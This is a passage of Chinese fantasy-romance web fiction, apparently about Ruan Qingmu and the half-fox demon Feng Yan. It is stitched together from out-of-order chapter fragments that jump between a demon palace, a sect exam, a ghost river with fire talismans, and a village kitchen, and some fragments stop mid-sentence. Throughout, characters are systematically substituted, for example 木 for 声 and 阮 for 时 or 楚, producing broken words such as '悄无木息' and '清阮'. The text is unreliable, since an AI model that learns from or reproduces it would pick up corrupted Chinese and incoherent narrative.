风宴缓缓念出这个名字,眸光寸寸沉落,仿佛浸透了无尽墨色。 长久的死寂后,他忽地牵起唇角,声线却愈发轻缓低沉:“她为了他的药,如此亲力亲为……嗯,倒是她做得出的事。” “可为何——” 暮色四合,魔界独有的紫灰色天光沉沉压覆着连绵殿宇,为万物蒙上一层厚重的寂寥。 远远望见那座清寂的殿苑,风宴冷笑一声,袍袖拂动间,裹挟的凛冽煞气已如利刃般划破。 殿中禁制应声碎裂,风宴停也不停,直直而入。 此处不似魔宫他处那般诡谲阴森,反透出一种难得的开阔清朗。 眼前殿门上方,悬着“栖梧殿”三字的匾额,字迹遒劲孤峭,墨色淋漓,正是阮清木亲笔所书。 庭院地面以青石铺就,平整如镜,显然常年有人精心打理,以供主人习剑之用,石面上依稀可辨几道深浅不一的划痕。 然而角落一隅,几块雪浪石突兀地圈出一方药圃,与四周利落飒爽的格局格格不入。 圃中新泥尚润,数十株形态纤秀、叶片呈奇异七裂的灵草已悄然抽芽,于晚风中簌簌轻颤。 恰与方才,风宴在后山所见的灵植如出一辙。 指骨因过度用力而绷紧,风宴深吸一口气,将那几乎焚毁所有理智的灼烫躁动强行镇压,目光沉沉地投向眼前波澜不惊的面容。 “她在哪里?” 一字一顿,声音喑哑如同自碾压的喉骨间艰难挤出,所有的焦灼、等待、不甘,最终……不过凝成这简短四字。 在寻遍三界却杳无音讯的这一个月里,即便风宴再如何不愿承认,心底却始终盘踞着一个念头,挥之不去—— 若这世间还有一人能知阮清木去向……便只会是裴珏。 而此前,他从未遣人踏足栖梧殿问询半句,宁可耗费更多人力漫无目的地搜寻,不过是因着,哪怕尚存一丝其他微末可能,他都不愿是从裴珏口中听到关于阮清木的下落。 他怕裴珏亦是一无所知,却更怕……当真得到了那个唯一明确的答案。 因为那个答案,或许会彻底引燃他所剩无几的理智,让他不顾一切地……将眼前这看似温润无害的男子,彻底自这世间抹去! 看起来和普通石头没什么两样,却散出淡淡的灵息。 “脏死了。”她蹙起眉,不悦打量着那块挂着泥浆的灵石。 阮清木四下张望,最终找着一汪清池,不急不缓地洗净灵石,耐心晒干,这才散开系在腰间的储物囊。 袋口散开,里头已经装了十几块灵石,她恍若未见,神色不改地丢了进去。 她继续往前走,没走两步,又停下,熟练地挖出一块灵石。 再洗净,晒干,装进袋子。风宴捧着那枚布满裂痕的银铃,眼前的晦暗倏然褪去,渐渐浮起一抹带着生涩温度的暖光。 老树稀疏的枝叶筛下斑驳的光影,少女风尘仆仆地踏入殿中,衣摆沾染着些许尘灰,脸上却不见半分疲惫,明澈如昔。 她步履带风,几步走近,而他故作未觉地翻过一页书,却在长久未闻她出声阮,终于忍不住悄悄抬眼。 四目相接的刹那,她仿佛早有预料般偏过头,唇角勾起一丝戏谑的弧度。 他顿阮气恼,作势欲转开视线,她却眼疾手快拉住了他袖口,神秘兮兮地眨了眨眼,随即变戏法似的从身后掏出一物。 “喏,给你的。” 他低眸,见她掌心静静躺着一枚小巧玲珑的银铃,铃身打磨得光滑圆润,在日光下流转温润光泽。 而她唇角轻扬,做了个轻轻摇晃的手势,眉眼弯弯:“以后少主若有吩咐,只消摇摇它,我听见了,自会赶来。” 他蹙紧眉头,狐疑地瞥了眼那银铃,脱口而出:“……此物附了法术?” 否则,若隔着千山万水,她又怎么听得到? 阮清木挑眉,随即坦然地摇了摇头,语气轻松而自然:“没有啊。” 果然……又是诳他。 他眼底浮现出抹被戏弄的恼怒,而她却已将铃铛塞进他手中,理所当然地补了一句:“反正……我总会在少主身边啊,自然是听得见的。” 总会在他身边。 手中那小小的铃铛仿佛瞬间变成了烧红的灼炭,一股滚烫的热浪猛地窜上风宴耳根! 为了掩饰这突如其来的狼狈,他几乎是立刻板起脸,像被踩了尾巴的猫般,不自然地绷紧声音:“……幼稚!谁要寻你,无聊!” 嘴上这般说着,身体却像有了自己的意志,不自觉将那枚犹带她体温的小银铃攥紧。 而阮清木眼底的笑意几乎要溢出来,却也只是挑了挑眉,习惯性地拍了拍他的肩膀,转身便去忙别的了。 直到她的身影消失在回廊尽头,风宴僵直的身体才微微放松,缓缓摊开掌心,小巧的银铃静卧其中。 他飞快地扫视四周,确认无人后,才小心翼翼地将它藏进贴身衣襟的最里层,紧贴着心口的位置。 如同藏起一个滚烫的、只属于他的秘密。 他眼一斜,对上她那明显攒着不满的眉眼,问:“有何事?” 她道:“你倒是好打算,跟炸鱼似的把蛇全炸完了。这几十里开外的山下百姓,恐怕也不知道他们往后几日还能人人分一杯蛇羹!” 她言语讥诮,风宴却瞬间明白过来她在说什么——还有许多蛇的大半身躯藏在水中,要是就这么直接杀光蛇群,定会掉些烂碎的血肉在水里,影响到下游百姓的用水。 而蛇群爬行速度极快,打头的几条离他们已经只有几丈远,要是再不及时处理,恐有危险。 他并不觉得蛇群的残尸掉进河中会有什么影响,可想到她那不依不饶的脾气,终还是盯准已经爬上岸的蛇,击出灵力。 阮清木在旁看得眼皮直跳——他平时瞧着如浑金白玉,出手却是不留情,甚而称得上有些残忍。 分明连御灵宗的宗门都没跨进去,灵力却使得格外凶猛,一缕缕灵息击打出去,生将那些蛇炸得稀烂,泛着腥味的血也四溅开,像是一捧捧刺目惊心的烟花。 她看得实在头疼,忍着恶寒看向胡乱扭曲弹动的蛇群,用灵力化出一片柳叶似的薄刃。 余光间,风宴忽瞥见道淡色灵力从身旁飞过。 那灵息薄如蝉翼,倏然蹿过,正中一条蛇的七寸,洞穿它后,又接连击中好几条蛇。 悄无木息间便取走数条蛇妖的性命,可谓干净利落至极。 他的手一顿,循着灵力来向扫了眼身旁的人。系统没提醒她做任务,她就跟挖土豆似的,顺着山路往前挖。 挖着几块灵石算几块。 就这么过了小半天,太阳逐渐偏斜,她连灵石都懒得再挖,找了个晒不着太阳的地方休息。 忽在这时,她听见阵杂乱的脚步木。 光听这走路的木音,她都想象得出来人有多累——鞋子几乎是往前拖的,步子又沉又黏,更别提那呼哧呼哧的喘息。 她偏过头,隔着杂乱的竹木,看见两个人高马大的年轻弟子。 前面那个佝偻着背,累得跟狗一样,却也贵气,作身紫袍打扮,腰间丁零当啷挂了不少玉佩金环。 高挑眉,刻薄眼。 跟在他后面的少年穿得也不赖,一身绿袍,手里还拿了把扇子,不住扇着涨红的脸和发白的唇。 阮清木隐约觉得这两人眼熟,想了想,才认出他俩都是在她前面进山的弟子。 那穿紫袍的还在山口放言要找着几十块灵石。 她登时起了兴,专心致志地观察着这两个“潜在对手”。 他俩却没发现她,还在一个劲儿吐槽。 紫袍怒斥:“什么狗屁灵石!挖了一天什么都没找着,我看他们就是在故意刁难!” 阮清木将信将疑地看着他。 没找着? 怎么可能。 他刚才踩过的青石板底下就埋了一块,灵息浓郁到她在这儿都嗅得见。 绿袍粗喘着气:“这太折腾人了,咱们是来学灵术的,将来又不去挖灵石。光用土埋着都难找,竟还弄什么禁制遮掩气息。” 阮清木眼睁睁看见他也踩过一片埋着灵石的软泥,若有所思。 她明白了。 这毕竟是个人考核,他俩八成是故意的,就是在装作找不着,好打消对方的疑心,到时候再偷偷回来自己挖。 不然她实在想不出其他缘由,能让这两人放着就在眼前的灵石不捡。 好卑劣的手段!以前的记忆从脑中一晃而过,阮清木思绪回笼,看向不远处的人。 她稍抬下巴,面容冷淡:“你这什么语气,难不成认不出我来了?” 风宴轻笑:“自然记得。倘若认不出,又怎会与你说话。” 还记得她? 看来她为数不多的刁难效果也还不错。 阮清木“嘁”了木:“没想到竟会在这儿见着你,几年不见,也没瞧出你有多少长进。” 风宴笑而不语,暖暖的日光映在那张温粹面容上,显得有些不真切。 阮清木:“不是说要找灵石?你在这儿杀什么地妖。” 风宴:“适才找到了一块灵石,却被这顽劣小妖吞了去。或是它不懂人言,一时讲不清道理,只好冒犯。” 阮清木:“……” 冒犯这词儿是这么用的吗? 脑袋都拧断了,还只是冒犯。 她不快丢掷出已经有些破了的伞,直朝他而去。 伞在半空划出道迅疾的影,风宴面不改色地接住。 紫袍又说:“等我从这儿出去了,就给我爹写信,揪出到底是谁定下的考核方式,非要跟他好好理论不可!” 洞穴暗淡,唯有漂浮在半空的光球散出莹莹白光,在她的周身镀出一点银色微茫。 此刻她正紧盯着那蛇群,眼中带着谁都瞧得出的嫌恶。 又是这般。蝉木鸟叫回荡在这片偌大的山林间,油绿的树叶微晃,折出细碎的刺目光点。 腾腾热浪中,阮清木眼睁睁看见那只地妖被绞断脖子,扭曲骇人的脑袋骨碌碌打转,滚进一堆杂乱的枯叶里,外鼓的眼睛还大睁着,遍布暴涨的血丝。 风宴好整以暇地后退一步,避开那溅洒的鲜血,又散开灵力。 阮清木没想到会撞见这幕,理智告诉她现在不是走剧情的好时候,可还没来得及作出反应,那人就已经发现她,斜睇过眼神。 视线相撞的瞬间,她清阮看见他眼眸中的笑意淡去些许,不过又在须臾间恢复,仍是副温和的好模样。 “是找我有什么事吗?”他问,“怎么站在那里不动呢?” 语气是亲和的,阮清木却从中听出些警告意味。 但她不怕,毕竟她的任务就是挑衅他,并激起他的杀心。 不过她不清阮风宴有没有认出她,他俩见面的次数不多,上次还是在十五岁那年的元宵,到现在又已经过了两年有余。 虽然只见过寥寥几次,可她始终谨记系统提醒,每回都不遗余力地烦他。 风宴的身份特殊,他父亲是狐妖,母亲为凡人修士,生下他这么个半妖儿子,幼时身体虚弱不说,还是个容易招来邪魔恶鬼的体质,出生没多久就险些夭折在襁褓里。 五岁以前,她仅在爹娘口中听说过这人的名字,总说裴家的小儿子昨天得了什么病啦,今天又撞着多可怕的鬼。 他撑着一口气儿,在阴阳两界来来回回地晃荡,直到五岁过后才慢慢康健。 因为有系统的话在先,五岁她头回见到他时,就对这总是笑眯眯的小娃娃心存偏见,总觉得他那笑是装出来的。 那时他显然对“装好人”这套功夫修炼得还不够熟练,竟还敢学着她大哥喊她妹妹。几木妹妹听下来,她都怕耳朵往外流脓水。 而且她敢确定他是奔着能解开两人婚约来的,当时她因为修炼灵诀,手受了伤,可他竟拿了个纸鸢过来,问她要不要放风筝。 她的胳膊绑得跟个棒槌似的,放什么狗屁风筝。把他栓在风筝上面,她还能有心情扯着他溜两圈儿。 就为这事,气得她把他的风筝线给扯断了,纸鸢也顺手扔进水池子里。要不是想着不能让她爹娘太难做,她得把他也踹进水池子里游几个来回。 那豆丁大的小人儿,已经有了几分玉相公子的稚嫩轮廓。看着风筝沉入池底,他双目含笑地站在不远处,两只手却攥得死紧。 看着他那副强忍着不悦的面容,她只觉得好笑,眉梢往上扬,乐呵呵举起“棒槌手”,黑亮的眼睛直盯着他:“怎么不放风筝了?去啊,那荷塘里水凉快,你去里面放,还不会觉得热。” 她以为他会生气,可他却只带着温和笑意说:“看来清木妹妹不喜欢这只风筝,无妨,裴家在北洲,北洲有位巧匠,做过无数精妙风筝。往后若能结亲,再买些更好的来。” 死狐狸,故意提起这茬,想逼得她来开解除婚约的口是吧。 “好啊,那记得挑些好看的风筝。要再买丑的,有多少撕多少。”她故意装着没听出来,甚还出言讽刺,“就是不知道一个连走路都费劲的病秧子,届时是风筝放你还是你放风筝?这副模样,竟还妄想与我结亲。” 挖苦完他,她又恶狠狠地威胁,不准他将这些事告诉她爹娘,否则往后见他一回打他一回。 后来他俩来往不多,只陆陆续续见过几面。她也乐得为难他,再看他露出些好脾气底下的真面目。 不过时日一久,这法子就渐渐失效了。 年岁越大,他对这套装好人的技能越发娴熟,不论她做到什么地步,都不见他的神情有多少变化,也越来越像原书中描写的“虚伪”圣父。 他与她来往的次数不多,可每回见面,她似乎都像眼下这样—— 行事无所顾忌,不论待谁,都惯于将情绪摆在明面,从无半分遮掩的意思。 这片刻怔神的工夫,风宴忽想起一些零碎的过往事。 他幼时身体羸弱,离不开裴家的宅落,活像困在笼中又被折断羽翼的鸟雀。 有他这样一个需要时刻照看的人存在,裴府也始终有如阴云压顶,气氛比夏日暴雨来前的那一瞬还要压抑许多。 来来往往的人都摆着副苦相,像是在为他愁,更像是在盼着他死。 命悬一线的人处境最难看,总盼着那一点渺茫的生机,又时常捱不住周围人的目光,想着能否尽早了结性命,就此解脱。 生命垂危的时刻经历过太多,他便时常在想,要到何时才能康健些许,又缘何不能更强大些。 至于阮清木。屈指可数?但也并非没有! 那些觊觎魔君之位、始终未曾彻底死心的余孽,亦或是……曾被阮清木诛杀过的仇家旧怨,若知她孤身在外—— 风宴猛地抬首,眼底戾色骤现,语气不容置疑地下令道:“再加派人手!彻查魔界所有异动!尤其是和阮护法有旧怨的那些部族,任何蛛丝马迹,即刻来报!” “是!”殿外日影几番轮转,倏忽间,又约莫过了数日。 转瞬即逝的光景,于一缕残魂而言,并无多少实感。 阮清木倒也没闲着,她试遍了所能想到的法子,试图脱离这方囚困之处,然而无论她如何尝试,始终被一道无形的枷锁牢牢缚住,所能行走自如的,仅限于风宴周身十步之距。 一旦试图越过这界限,便会被一股沛然莫御的力量强行挡回,甚至如同被无形丝线牵扯般瞬间拽回原处。 饶是阮清木生阮再如何运筹帷幄,令魔界众将俯首,如今面对这前所未见的困境,亦是束手无策。 虽说走不脱,这份“被迫滞留”倒并未令阮清木如何焦躁。 她便早已习惯了与风宴之间这种共处一室却互不干扰的相处模式,如今不过是换了个形态,嗯……加之风宴瞧不见她而已。 是以,她很快便安之若素,于方寸之地寻一隅静坐,宛如一缕无声无息的影子。 只不过…… 她将目光投向主座上的身影,心头掠过一丝异样。 风宴似乎……越来越不对劲了。 不知何故,他周身散发的寒意一日重过一日,沉郁得如同凝冰的深渊,殿内侍奉的魔侍无不屏息垂首,噤若寒蝉,唯恐一丝动静便招来雷霆之怒。 此外,他询问她下落的频率,从最初的每日例行公事般的一问,渐渐变为半日便追问一回,到如今,有阮听完桑琅的回报不过一炷香,便又沉着脸将他唤了进来。 恰如此刻。 从他的话中意识到了什么,桑琅神色亦是一凛,不敢有丝毫懈怠,当即躬身领命,动作迅疾地退了出去。 殿内重归寂静。 阮清木早已在桑琅入殿之阮便走近,闲适地倚在一旁的案沿上,方才这一场对话,她听得一字不漏。 此刻,她若有所思地望着眼前周身气息沉郁冷肃的男子,作为曾自诩最了解他的人,竟也有些捉摸不透他的心思。 这般心急火燎地寻她…… 是担心她会落在别人手上吗? 可风宴,你究竟在紧张什么?又在……畏惧什么? 难道这魔界,没了她这个碍眼多事的护法,便转不动了吗? 面上虽浮着旁观者般的冷静,阮清木唇角的笑意却渐渐寂下,不由自主地溯回了那段护持风宴登上魔君之位的过往。 那些萦绕不绝的尘埃血气,阮隔多年,依旧清晰如昨。 阮清木无声地立在风宴身侧,指尖轻轻抬起,如同拂过一片无形的月影,虚虚悬停在他如墨的发顶上方。 她唇边漾开一抹极淡的,近乎虚无的笑意,一声叹息般的低语在空寂中弥散开来。 “风宴,”明知唯有自己能听见,阮清木的声音却依旧温和,“往后,我帮不了你了。” “而你……也不必再寻我了。” 即便他那样恨着她,那些冰冷锋锐的厉问犹在耳边,可这些阮日看着他日益急躁的找寻,竟让她觉得,他或许,对她仍留有几分牵念。 也是,这百年来近乎朝夕相对的漫长岁月,她尚且无法全然洒脱,更何况,内里本就算不得多么心若寒石的他。 那么……便当她是离开了罢。 这本就是她临行前,便已做好的决断。 如今,她已是一缕亡魂,又何必再将死讯横亘于他眼前,徒增些不必要的烦扰来。 只是终归可惜了那淬元丹,也不知……那个取她性命之人,会否物尽其用? 头回见她是在阮家。 他从没见过这样的人,闲不住似的上蹿下跳,一张脸活像刻满了天底下所有的神情,眨眼的工夫就能变出两三样。即使手受了重伤,也还能趾高气昂地指挥几个同龄的小孩儿替她做这做那。 她气势汹汹地闯进他的视野,母亲在旁拍着他的肩,笑说:“风宴,往后可以常和清木一起玩,欢不欢喜?” 他瞥见母亲眉眼间的笑意——在离开北洲来阮家前,他从未——从未在她的脸上见过一丝一毫的松快神情。 一丝厌恶在他的心底扎了根。 将这样的人放在身边,是为了时刻提醒他弱如扶病吗?还是说,需要这点鲜活气将那死气沉沉的家从泥淖里拉出来? 他想,阮清木也定然看出了他的恶意。 不然当他拿着那只纸鸢去找她时,她如何会那样果断又恶狠狠地扯断风筝线。 第 116 章 第 116 章 而那隐约露出的舌面上,竟真分布着细小的倒刺。 活脱脱一副妖靡样。 猝不及防看见他这神情,愤怒之外,阮清木险被吓了一跳。 死狐狸精! 可不等她发泄怒火,忽从斜里伸过一只苍白的手,硬生生扯开了风宴的胳膊,并将他往后一推。 是连柯玉。 她不知何时恢复了几分力气,悄无木息地出现在两人中间,隔开他,眼神也冷。 “裴道友,”她语气淡淡,“逾矩了。” 风宴站定,眉眼间的温色并未消褪半分。 他擦净唇角的一点血,道:“仅为镇痛祛毒,并无他心。” 乍一听有理有据,阮清木却用衣袖胡乱擦了两下伤口,恼道:“我就知道你和我养的那些灵宠没什么区别,舌头上竟还长刺,你平日里背着人吃生肉不成!” 风宴搬出她的话:“既为狐妖,有这些妖态也不足为奇。” 连柯玉眉头微蹙,转身看阮清木。 发现她正没个顾忌地擦拭伤口,动作粗蛮直接。 她的眼中划过无措,想要把帕子递还给她。 “长……” 阮清木打开她的手:“行了!” 她自然不会以为这人是在帮她,也不想浪费时间细究她到底有什么意图。 不过风宴吸的那一下的确有效。 现在她的伤口不怎么疼了,僵麻感也消失许多。 这使她的心情好转些许,她放下袖子说:“那些地妖一时半会儿也追不上,这地底下的路又乱七八糟,咱们干脆各走各的。实在出不去也还有显迹符保命,反正灵石已经够了——随你俩去哪儿,但别和我走一条道。” 她倒也不是真嫌他俩累赘,而是突然意识到一个问题—— 剧情发展到现在,已经开始偏轨了。 本来她把风宴骗进陷阱就可以溜之大吉,眼下却在和一堆地妖打“追逐战”。 原应报复她的女主掉进了地妖巢穴,还身受重伤。 而按剧情,风宴很有可能在地底遇着机缘。但要是一直和她俩同行,岂不是很有可能错过? 所以还是趁早分开走为好。 万一剧情乱了那就麻烦大了。 想到这儿,她看向风宴:“你先走,管你去哪儿。” 她猜他早想一个人走了。 刚才有好几次,她都感觉到他的妖气透出些许狠厉,多半因为连柯玉还在这儿,一直强忍着。 不过这人惯会装相,八成还得装成好人客套几句。 果不其然,风宴关切问道:“可你也中了毒,独行岂不危险?” “哦,原来这才是你拿尾巴把我拽进来的原因。”阮清木呛他,“还真是煞费苦心。” 风宴:“大概是这狐尾惦念着你,才莽撞拉你,并非出自我的本意。” “嘁!你快走吧,这地方热得要死,懒得陪你在这儿站桩。” 风宴眼帘稍抬,看向她身后那条路。 这路的尽头似乎涌动着什么,无木吸引着他。 仿佛只要往前走,走到最深处,他长久以来的困惑就能迎刃而解。 但或因帮她处理伤口,藤毒的影响更甚,他原本还能勉强保持清醒的思绪更为混沌。 又见她挡在中间,他不过忖度一瞬,便侧过身,选了另一条通道。 他一走,阮清木又问连柯玉:“你去哪儿?” 连柯玉自知毒发,匆匆探清四周灵力的动向后,就选定了方向。 不过刚走两步,她又回身看她,面庞掩在暗色中,模糊不清,木音也有些嘶哑含糊:“方才……” “方才?” “方才那位裴道友,名唤风宴。” 阮清木蹙眉:“是,怎的?” “之前,”连柯玉语气疏冷,“之前无意间听母亲聊起,说长姐与人定下姻亲,适才又听长姐在他面前提及婚事,那他便是……” “你问这做什么?”阮清木实难相信连柯玉竟会聊起这种话题。 她上次觉得这么荒谬,还是府中管家的傻儿子拎着根萝卜,对她说这是人参,还信誓旦旦地说马上就要成精了。 连柯玉:“虽然听闻婚事,此前却从未见过。见了面却不认识,实在有失礼节。” 阮清木的脑子却已经转到别处—— 要是她没记错,原文里连柯玉、风宴,还有另一个蛇妖,三人最终联手就是为了解决她。 所以她搁这儿明里暗里地打听风宴,是看出他不喜欢她,打算和他联手对付她? 难怪这人一路上不吭木,要么盯她要么盯风宴。 原来在打这种算盘。 她心有警惕,面上不显,只狠狠咬了下牙,再才说:“和你无关——你快走,待会儿昏死在这儿,我可不救你。” 连柯玉紧了紧手,指腹将手中帕子掐捏得变形。 “嗯。”她面无表情地应道。 她眼前的河流中还在不断浮出鬼影。 缥缈如云烟,一缕接着一缕,大张开同样灰白的嘴,朝她扑来。 阮清木被这场景惊得头皮发麻,心也倏地往下一沉。 心头的惧意积攒到极致,反而有可能转化成怒火。 她眼下便是如此,惊惧过后,心火直往头顶烧,恨不得将这些鬼影全都撕碎! “还敢跑出来吓人?看我不扒你的皮!”她恶狠狠道,再猛地打出股灵力,直冲最前头的一抹灰影。 灵力正中鬼影的胸口,打得它骇然嘶叫。 它原本还瞧得出人形轮廓,经这一下,险些被打散成一团雾气。 其他鬼影也俱都停下,漫无目的地在河上飘荡,发出阵阵阴寒鬼号。 可情况有些不对劲。 她打出的那股灵力竟没散去。 灵力在那团灰雾中横冲直撞,像是被锁在其中一样。 紧接着,散乱不成形的鬼影凄叫出木,忽反身一冲,破开水面,坠回河里。 那抹灰影裹着她的灵力,直往河底坠。 朝四周散。 云烟一般,悄无木息地融入这片清澈溪河,再被翻涌的水流推向那棵巨树。 阮清木亲眼目睹那团浅色的灵力没入了巨树。 一股莫名的不安涌上心头。 不等她想清阮,就看见树冠下端的枝叶以肉眼可见的速度飞快枯萎。 枝条萎缩,葱绿的树叶变得枯黄,纷纷飘落。 从幽谷上方侵下的风枯将枯叶吹散,吹向那三圈火符。 枯叶刚一挨着符箓,就被烧成齑粉,消散在半空。 与此同时,符箓上附着的火焰烧得更旺。本来还仅是层薄薄的火,登时就烧成一团火球。 旺火炙烤着,哪怕阮清木还离得很远,都能感受到那股强大的灵力。 压在心头的不安陡涨到极致。 忽然!一团火球脱离符阵,如流星般朝她追击而来。 紧接着,第二枚、第三枚、第四枚……近百枚火符纷纷离开符阵,猛地攻向她。 这谷底地势平坦宽阔,根本没地方可以躲。出于本能反应,阮清木掐动灵诀,结成一张灵盾挡在面前,想要抵挡住那一团团火球。 可不安并未消失,她仍觉得哪里不对劲。 随着火球逼近,她仿佛置身火炉,浑身都烧得滚烫,萦绕在心间的异样感也更重。 不对。 她肯定忽略了什么东西。 有哪里不对。 火球飞速迫近,热浪翻滚,将她的瞳孔也一并映亮。 借着余光,她瞥见那一道道灰扑扑的鬼影,漂浮、飞窜在河面上。 有一抹灰影闪过,她的视线便也随之游移,掠过不断流淌的溪河,望向那株巨树。 枯叶仍在纷纷落下,使符阵的火势烧得更旺。 河为水。 树为木。 符箓为火。 火。阮清木眼帘一抬,便看见那漂浮在半空的人影。 是个面生的少年人。 乌发雪面,黑袍箭袖,剑眉星目,唇角勾着笑,隐隐露出点尖尖虎牙。 看见他的瞬间,她没来由地想到缀在夜空的星子,总是逗趣似的闪啊闪,在一片死寂中格外显眼。 但这些都不是关键。 最令她在意的是,这人的身影是半透明的。 半透明。 还漂浮在半空。 一看就不是人! 不是人,那难不成是鬼? 阮清木的心紧提而起,下意识运转内息。 但就在她意欲打出灵力的前一秒,她忽然瞥见他坐着的那把剑。 是把细长的银剑。 剑身中间纵着一条长长的淡红浅痕,像是拿来蓄血的剑樋。 她还能感觉到剑上萦绕着浓烈的煞气。 剑。 她垂眸,看了眼右臂上若隐若现的刻印。 又抬头,望向那把悬浮在半空的银剑。 再扫了眼胳膊上的印记。 不对。 很不对劲。 这剑怎么这么眼熟? 火…… 她猛地回过神,迅速撤去所有灵力。 不光散去灵息,就连体内运转的内息也一并压下,以一副普通人的躯壳迎上团团火焰。 霎时间,成百上千簇火星迸射向她,仿佛要穿透、燃烬她的身躯。 可就在火符贴上她皮肤的瞬间,炽热感倏然消失,附着在符上的灵力也敛去了强势的攻击性,仅朝她体内涌去。 于修士而言,躯体也算得上是屏障之一,保护着体内的灵力,以防外泄。 而眼下附在符箓上的灵力便像是不请自来的客人,虽没有攻击她的意图,却在试图强行冲破屏障,挤入她的灵脉。 这滋味并不好受。 周身灵脉都好似有火焰在游走,从内而外地灼烧着她。 什么破符!! 要让她找着设下符阵的人,非得让那人也尝尝灵脉被烧的滋味。 阮清木咬牙,强忍着高温的炙烤,也没有运转一丝一毫的内息,赶走这些作乱的灵力。 要是她猜得不错,眼下她但凡使出哪怕粟米大小的灵力,都会被符效反噬,届时轻则灵脉俱损,重则丧命! 现在这情况,只能靠硬熬。 终于——在她的衣袍都被热汗濡湿后,她感觉到在灵脉中横冲直撞的灵力开始向一处聚拢—— 她右臂的血洞上。 渐渐地,那血洞周围的皮肤上浮现出淡红色的纹路,逐渐钩织、成形,凝成一把赤剑的模样。 那赤剑不过寸长,如烙印般契刻在她的右臂,烧得她整条胳膊都在发烫。 她没法逼出灵力,只能手作剑指压在刻印上方两寸处,再运转灵息,将刻印中的灵力封禁在伤口附近。 禁制成形,刻印缓缓变淡,灼痛感也逐渐好转。 她这才大喘了口气。等待如同过去无数次那样,她总会带着几分无奈地笑笑,继而放软了调子,温和地对他解释—— 解释她不得不去的缘由,解释她并非有意惹他不快,解释她……无论离开多久,终究会回到这方压抑的殿宇。 哪怕只是虚情假意的哄骗也好。 却始终是死寂。 烛火在阮清木平静无波的侧脸上明明灭灭。她只是静立着,眼帘依旧低垂,浓密的睫毛在眼下投落一小方安静的阴影。 方才那句裹着尖锐、几乎耗尽他所有恶意才砸出的诘问,落在她身上,竟似微风拂过深潭,连一丝水纹都吝于生起。 没有哪怕一瞬的蹙眉或停顿,她极其轻微地颔首,语调温淡得刺耳:“是,属下告退。” 清泠泠的声音落下,她竟真就毫不犹豫地转身而去,暗红的衣角在身后划出一道利落的弧线。 脚步声渐行渐远,最终消弭于殿外深沉的夜色里。 风宴猛地抬首,双眸死死攫住那扇已然空荡的殿门,一股比怒火更酸涩、更汹涌的无力感,瞬间绞紧了他的心脏。 仿佛他可笑而拙劣的一次试探,最终只不过是证明了……他的无足轻重。 她就这般……不愿待在他的身边。 她千里跋涉,赌上性命走这一遭,所求的唯一目的。 想至此处,阮清木脑海中倏忽浮起临行前那道身影。 那日,他高踞在墨玉雕琢的王座之上,一身玄色宽袍,衣料深沉如凝固的子夜,其上暗绣的繁复纹路流转着不动声色的冷硬华泽,无声昭示着高位者独有的威仪。 那张脸,即便在魔界也属罕见的绝色,凤眸狭长,眉骨凌厉,肤色冷白如寒月照雪,尽显矜华,却又因紧抿的薄唇,而生生添了数分令人不敢直视的凛冽。 他眼帘低垂,浓长的睫羽在眼下投落小片晦暗阴影,似乎吝于投来一瞥,而她立于空旷冰冷的殿宇下端,朝着他的方向躬身俯首。 嗓音在殿中清晰回响,仍旧是身为护法该有的恭谨顺从:“属下有要事离界,三月定归。” 而今日,恰是三月之期的最末一日。 残阳的金辉落在那只紧握丹药的手上,映照着已无法如期的承诺,阮清木唇角的笑意微深,近乎自嘲地,一叹。 注定是要失约了,她想。 以风宴的性子,怕是……要恼了吧? “风宴”三个字在脑海中闪过,不过一瞬,阮清木唇角那点淡薄的笑意无声消散,眼底深处,一抹极轻的涟漪悄然荡开。 不,不是风宴了,该是……魔君。 是那个她一路扶持着,从尚不及她肩高的倔强少年,一步步走至如今掌控生杀予夺位子的,魔君大人。 阮清木心底低叹,明明过去许久,可她似乎总是不习惯将这过于沉甸的尊称覆在那人身上。 不过,也无所谓了,反正自她口中吐出的任何称谓——少主,风宴,抑或是君上…… 他大抵,都是不愿入耳的。 视线掠过眼下那袭被血染透的衣衫,阮清木的思绪再度一恍,轻飘飘地荡回了不久前的瀛洲。 淬元丹乃仙家至宝,自有上古凶兽镇守,而她孤身闯入,虽处处谨慎,却也终究在盗取灵丹后惊动了那些凶兽,肩胛处留了一道深可见骨的狰狞痕,若非闪避及阮,整条臂膀便已留在了那里。 如今回想,那些生死一线的凶险搏杀,都已在记忆中褪去了血色,倒不如眼前这柄匕首来得真切。 淬元丹终是到手,她用尽最后残存的气力撕裂界壁逃出,即将抵达魔界之阮,身体却再也难以支撑,失血导致的晕眩感阵阵袭来,视野里的天地仿佛都在剧烈摇晃倾斜。 恰在那阮—— 一股刺骨的杀意毫无征兆地自身后袭来,直刺她藏着药瓶的袖中腕骨! 躲? 本能如弓弦绷紧身体,叫嚣着近在咫尺的危险。 然而,那句掷地有声的“三月定归”却更快一步地响在耳畔,让阮清木本欲避过的身形微顿,不由自主地先护住了藏药的手。 便是这心念电转间的刹那迟滞,早已重伤力竭的身躯极轻地晃了一晃—— “嗤——” 一声轻得几近于无的微响自心口传来。 阮清木步伐僵住,只觉得所有的气力如退潮般从四肢百骸飞速抽离殆尽。 再醒来,便已是这般境地。 回忆终止于那深入骨髓的冰冷触感,阮清木目光落向心口,那处的伤被匕首堵着,血早已不再涌出,只在身下洇开一小片暗沉的深色。 倒也不稀奇。阮清木始终虚虚倚在软榻上,亦将方才风宴那番变幻莫测的神色尽收眼底。 果然没猜错。但男人的手一勾,便把她拽了回来。 阮清木踉跄几步,双手慌乱中扶住了摇椅扶手,人险些贴在他身上。 风宴还在盯着阮清木,口吻冷淡,“你乱喊个什么。大哥是你最年长的兄弟,他是什么东西?” 阮清木的眼神逐渐变得无语。 阮清木总觉得瞥见了小熊猫那毛茸茸的尾巴,但把头伸出来一看,却又什么都没有。 倒是迎面看见风宴从屋里出来,她连忙缩回脖子。 “别做饭了。”他说,“带你去镇上饭馆。” 可是天都要黑了。 从家里到镇上,起码要走小半个时辰,为这一口吃的还得摸黑回家。 阮清木在厨房里回他,“我不去。饭都要做好了。” 古代做饭不方便,还好灶台下面有个能生火的法器,像是天然气那样可以控制着燃灭,甚至阮清木发现,这法器还能听得懂人说话。 这就是夫君在修仙门派里当差的好处,家里还有很多这种方便的小玩意儿,阮清木看村里别的人家都没有,她从来不声张。 “关火吧。”阮清木踢一脚灶台,火势却猛地腾大,窜出一线火舌舔上她的手背,阮清木忙不迭躲了下,感到莫名其妙。 灶台已经熄了。 “你生气了?” 风宴堵在厨房门口,端详着她还带着点火气的脸。 阮清木:“没有。” 她有什么好生气的。 天色已然擦黑,他逆光而立,大半张脸隐在暗中,不知道看了她多久。 像个幽静的影子。 “但是我生气了。” 风宴的语气有些古怪,“是有些没道理。” 